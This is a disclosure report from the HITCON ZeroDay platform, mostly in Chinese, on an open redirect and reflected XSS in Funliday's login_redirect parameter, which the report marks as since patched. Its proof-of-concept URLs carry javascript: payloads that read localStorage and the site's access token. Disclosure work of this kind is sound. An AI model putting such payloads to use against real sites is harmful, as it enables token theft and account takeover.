Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01564
- 發信 Vendor: 趣放假股份有限公司
- Title: Funliday Open Redirect and Reflected XSS
- Introduction: 此漏洞涉及Reflected XSS，攻擊者可以利用該漏洞在瀏覽器重導時執行惡意腳本
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2025/12/24 10:15:32 : 新提交 (由 CheN.. 更新此狀態)
- 2025/12/30 22:44:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:07:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:07:49 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:07:49 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/13 12:00:42 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/01/18 21:42:46 : 確認已修補 (由 CheN.. 更新此狀態)
- 2026/01/22 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2025-01564
- 通報者：SamChen_696 (CheN..)
- 風險：高
- 類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
參考資料
漏洞說明： OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
防禦繞過方式： OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
相關網址
https://www.funliday.com/login?login_redirect=javascript:alert(document.domain)
https://www.funliday.com/login?login_redirect=javascript:alert(JSON.parse(localStorage.getItem(%27fld-accessToken%27)).token)
https://www.funliday.com/login?login_redirect=javascript:alert(JSON.stringify(localStorage))
敘述
說明
login_redirect 參數允許任意外部網址，導致 Open Redirect，也未過濾 URI 開頭是否為 javascript:，因此攻擊者可直接將其設為 javascript:…，導致瀏覽器在重導時執行惡意腳本造成Reflected XSS。進一步分析發現，此 XSS 可被利用來竊取使用者敏感憑證，導致帳號接管。
PoC
https://www.funliday.com/login?login_redirect=https://samchen.blog
https://www.funliday.com/login?login_redirect=javascript:alert(document.domain)
https://www.funliday.com/login?login_redirect=javascript:alert(JSON.parse(localStorage.getItem(%27fld-accessToken%27)).token)
https://www.funliday.com/login?login_redirect=javascript:alert(JSON.stringify(localStorage))
影響
Open Redirect 可使攻擊者可誘導使用者點擊惡意連結（請參考 https://www.invicti.com/learn/open-redirect-open-redirection/）。
攻擊者可透過精心構造的連結，在受害者的瀏覽器上執行任意 JavaScript 代碼。
JWT 儲存於 LocalStorage 及未設定 HttpOnly 的 Cookie 中。攻擊者利用此 XSS 可直接讀取 fld-accessToken 等憑證，並將其回傳至攻擊者的伺服器。
修補建議
加強 redirect 驗證：嚴格限制可用的重定向網址，僅允許預先定義的白名單域名，並拒絕任何非授權的請求。
禁止 javascript: 協議跳轉：在解析或輸出 redirectUrl 前，若字串開頭為 javascript:，立即拒絕。